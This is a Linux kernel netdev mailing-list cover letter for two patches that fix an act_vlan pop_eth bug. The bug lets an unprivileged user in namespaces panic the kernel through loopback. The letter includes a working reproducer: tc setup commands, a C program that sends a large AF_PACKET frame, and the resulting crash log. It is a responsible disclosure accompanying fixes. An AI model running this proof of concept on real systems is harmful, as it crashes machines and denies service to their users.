Netdev List
 help / color / mirror / Atom feed
* [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback
@ 2026-07-23 17:54 Ren Wei
  2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
  2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei
  0 siblings, 2 replies; 3+ messages in thread
From: Ren Wei @ 2026-07-23 17:54 UTC (permalink / raw)
  To: netdev
  Cc: jhs, jiri, davem, edumazet, pabeni, horms, peilin.ye, cong.wang,
	gnault, vega, bronzed_45_vested, enjou1224z

From: Wyatt Feng <bronzed_45_vested@icloud.com>

Hi Linux kernel maintainers,

We found an issue in net/sched/act_vlan.c.
The bug is reachable by an unprivileged user using private user and network namespaces.
The relevant details are provided below.

---- details below ----

Bug details:

The bug is in `tcf_vlan_act()` when handling `TCA_VLAN_ACT_POP_ETH`.
The action is applied without checking that the skb is on an Ethernet
device. On loopback and other non-Ethernet devices, `skb_eth_pop()`
removes `ETH_HLEN` bytes from the skb head even though the later TX path
still expects an Ethernet header.

When such a packet is transmitted through `lo`, `loopback_xmit()` calls
`eth_type_trans()`, which unconditionally pulls another `ETH_HLEN`
bytes. For a large non-linear AF_PACKET skb whose linear head contains
only the original Ethernet header, the first pull leaves
`skb_headlen(skb) == 0`. The second pull then reaches `__skb_pull()`
with `skb->len < skb->data_len` and triggers a kernel BUG, crashing the
guest.

This is a short-packet handling bug caused by applying an Ethernet-only
transform to a non-Ethernet skb.

Reproducer:

PATH=/usr/sbin:/usr/bin:/sbin:/bin gcc -O2 -Wall -x c -o mini_poc.bin mini_poc
PATH=/usr/sbin:/usr/bin:/sbin:/bin unshare -Urn sh -euxc '
ip link set lo up
trap "tc qdisc del dev lo clsact 2>/dev/null || true" EXIT
tc qdisc add dev lo clsact
tc filter add dev lo egress pref 1 protocol all flower \
  action vlan pop_eth \
  action skbmod dmac 02:11:22:33:44:55 pipe
./mini_poc.bin
'


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#include <arpa/inet.h>
#include <net/ethernet.h>
#include <net/if.h>
#include <netpacket/packet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <unistd.h>

int main(void)
{
	struct sockaddr_ll sll;
	unsigned char *frame;
	size_t len = ETH_HLEN + 8192;
	int fd;

	frame = malloc(len);
	if (!frame) {
		perror("malloc");
		return 1;
	}

	memset(frame, 'A', len);
	frame[0] = 0xaa;
	frame[1] = 0xbb;
	frame[2] = 0xcc;
	frame[3] = 0xdd;
	frame[4] = 0xee;
	frame[5] = 0xff;
	frame[6] = 0x11;
	frame[7] = 0x22;
	frame[8] = 0x33;
	frame[9] = 0x44;
	frame[10] = 0x55;
	frame[11] = 0x66;
	frame[12] = 0x08;
	frame[13] = 0x00;

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IP));
	if (fd < 0) {
		perror("socket");
		return 1;
	}

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_IP);
	sll.sll_ifindex = if_nametoindex("lo");
	if (!sll.sll_ifindex) {
		perror("if_nametoindex");
		return 1;
	}

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0) {
		perror("bind");
		return 1;
	}

	if (send(fd, frame, len, 0) < 0) {
		perror("send");
		return 1;
	}

	close(fd);
	free(frame);
	return 0;
}


------END PoC--------

----BEGIN crash log----

[  138.618799][ T9361] __skb_pull(len=14)
[  138.619387][ T9361] skb len=8192 data_len=8192 headroom=16 headlen=0 tailroom=0
[  138.619387][ T9361] end-tail=368 mac=(16,0) mac_len=0 net=(16,-1) trans=-1
[  138.619387][ T9361] shinfo(txflags=0 nr_frags=1 gso(size=0 type=0 segs=0))
[  138.625465][ T9361] dev name=lo feat=0x0000052e401d4c69
[  138.646157][ T9361] ------------[ cut here ]------------
[  138.646805][ T9361] kernel BUG at include/linux/skbuff.h:2847!
[  138.647529][ T9361] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[  138.648307][ T9361] CPU: 1 UID: 1001 PID: 9361 Comm: mini_poc.bin Not tainted 7.1.0-13910-g6c00e85cd46f #1 PREEMPT(full)
[  138.650828][ T9361] RIP: 0010:eth_type_trans.cold+0x2c/0x30
[  138.662853][ T9361]  <TASK>
[  138.663655][ T9361]  loopback_xmit+0x21b/0x6e0
[  138.672320][ T9361]  packet_xmit+0x243/0x310
[  138.672878][ T9361]  packet_sendmsg+0x319a/0x5100
[  138.680374][ T9361]  __x64_sys_sendto+0xe0/0x1c0
[  138.707494][ T9361] Kernel panic - not syncing: Fatal exception in interrupt


-----END crash log-----

Best regards,
Wyatt Feng

Changes since v1:
Link: https://lore.kernel.org/r/3ab4a04fbab887238facc1792e02c33fd68190f7.1782548651.git.bronzed_45_vested@icloud.com
Link: https://lore.kernel.org/r/40fe2d7dfce13411bfbe9271c0f7c54fb7e88e3b.1782548651.git.bronzed_45_vested@icloud.com
- Kept the actual code changes unchanged from the previous version.
- Reworded both commit messages to more clearly describe the failure
  mode and the exact header-length checks.
- Consolidated the Reported-by tags to Vega <vega@nebusec.ai>.


Wyatt Feng (2):
  net/sched: act_skbmod: require a full Ethernet header for MAC rewrites
  net/sched: act_vlan: skip pop_eth on non-Ethernet devices

 net/sched/act_skbmod.c | 9 +++++++--
 net/sched/act_vlan.c   | 4 ++++
 2 files changed, 11 insertions(+), 2 deletions(-)

-- 
2.47.3

^ permalink raw reply	[flat|nested] 3+ messages in thread

end of thread, other threads:[~2026-07-23 17:55 UTC | newest]

Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-07-23 17:54 [PATCH net v2 0/2] net/sched: act_vlan: pop_eth can strip non-Ethernet skbs and panic loopback Ren Wei
2026-07-23 17:54 ` [PATCH net v2 1/2] net/sched: act_skbmod: require a full Ethernet header for MAC rewrites Ren Wei
2026-07-23 17:54 ` [PATCH net v2 2/2] net/sched: act_vlan: skip pop_eth on non-Ethernet devices Ren Wei

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox